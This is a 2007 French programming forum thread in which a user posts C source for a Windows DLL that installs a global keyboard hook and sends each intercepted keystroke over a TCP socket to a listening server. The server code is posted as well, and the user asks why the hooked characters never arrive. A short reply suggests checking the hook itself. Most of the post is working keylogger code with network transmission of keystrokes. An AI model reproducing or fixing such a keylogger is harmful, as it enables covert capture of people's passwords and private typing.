X-Kalibur Posted January 14, 2007 Share Posted January 14, 2007 Le probleme est que je réalise un hook sur mon clavier et que chaque frappe interceptée je veux l'envoyer via un socket à un serveur, mais des que j'envois le send() le serveur n'affiche rien et pourtant je suis bien connecté, j'arrive pas à comprendre pourquoi. Merci d'avance. Code de la DLL : #include "DLL.h" #include "stdafx.h" #include <iostream> #include <stdio.h> //winsock #include <winsock2.h> #pragma comment(lib, "ws2_32.lib") //variables general WSADATA WSAData; SOCKET sock; SOCKADDR_IN sin; char buffer[1]; //\\winsock //Variables HHOOK hook; static HINSTANCE hDLLInstance; /*******************************************/ void InitConnexion() { WSAStartup(MAKEWORD(2,0), &WSAData); sock=socket(AF_INET, SOCK_STREAM, 0); sin.sin_addr.s_addr = inet_addr("127.0.0.1"); sin.sin_family = AF_INET; sin.sin_port = htons(4444); int status; status=connect(sock, (SOCKADDR *)&sin, sizeof(sin)); if(status==INVALID_SOCKET) { MessageBox(NULL, "Erreur connexion", "ERREUR",MB_OK|MB_ICONERROR); } } void SendChar(char c) { buffer[0] = c; send (sock, buffer, 1, 0); } /********************************************/ //main BOOL APIENTRY DllMain( HINSTANCE hInstance, DWORD ul_reason_for_call, LPVOID lpReserved ) { InitConnexion(); switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: hDLLInstance = hInstance; //Garde en mémoire l'instance pour SetWindowsHook() break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } LRESULT CALLBACK KeyboardHook(int nCode, WORD wParam, DWORD lParam) { char ch; LRESULT NextHook = CallNextHookEx(hook, nCode, wParam, lParam); //Prépare la valeur de retour de la fonction et passe le message à un autre Hook //Si la frappe a déjà été traitée (c'est une répétition) if(!((DWORD)lParam & 0x40000000 && (HC_ACTION==nCode))) return NextHook; //alors on passe la main à un autre Hook BYTE Keyboard_state[256]; GetKeyboardState(Keyboard_state); WORD wBuf; UINT ScanCode=0; ToAscii(wParam,ScanCode,Keyboard_state,&wBuf,0); ch=((char)wBuf); SendChar(ch); return NextHook;//Passe la main à un autre Hook } __declspec(dllexport) int Start() { hook = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)KeyboardHook, hDLLInstance, 0); return ((hook!=0)?1:0); } Code du serveur : #include <winsock2.h> #pragma comment(lib, "ws2_32.lib") #include <stdio.h> #include <iostream> void main() { WSADATA WSAData; WSAStartup(MAKEWORD(2,0), &WSAData); SOCKET sock; SOCKET csock; SOCKADDR_IN sin; SOCKADDR_IN csin; char buffer[1]; sock = socket(AF_INET, SOCK_STREAM, 0); sin.sin_addr.s_addr = INADDR_ANY; sin.sin_family = AF_INET; sin.sin_port = htons(4444); bind(sock, (SOCKADDR *)&sin, sizeof(sin)); listen(sock, 0);int sinsize = sizeof(csin); csock = accept(sock, (SOCKADDR *)&csin, &sinsize); while(1) { memset(buffer, '\0', 1); //on vide le buffer recv(csock, buffer, 1, 0); printf("%s",buffer); } } Ce que j'arrive pas a comprendre c'est pourquoi lorsque je met par exemple un SendChar('a') juste apres le InitConnexion() dans le DllMain, le serveur le recois bien et l'affiche... mais des que je veux envoyer le caractère intercepter par le hook clavier ça ne marche pas ... Merci d'avance. Link to comment Share on other sites More sharing options...
tsubasaleguedin Posted January 15, 2007 Share Posted January 15, 2007 ptete parceque le hook clavier marche pas, bien sur si tu printf la valeur hooké tu a le caractere tapé ? Link to comment Share on other sites More sharing options...
Recommended Posts
Archived
This topic is now archived and is closed to further replies.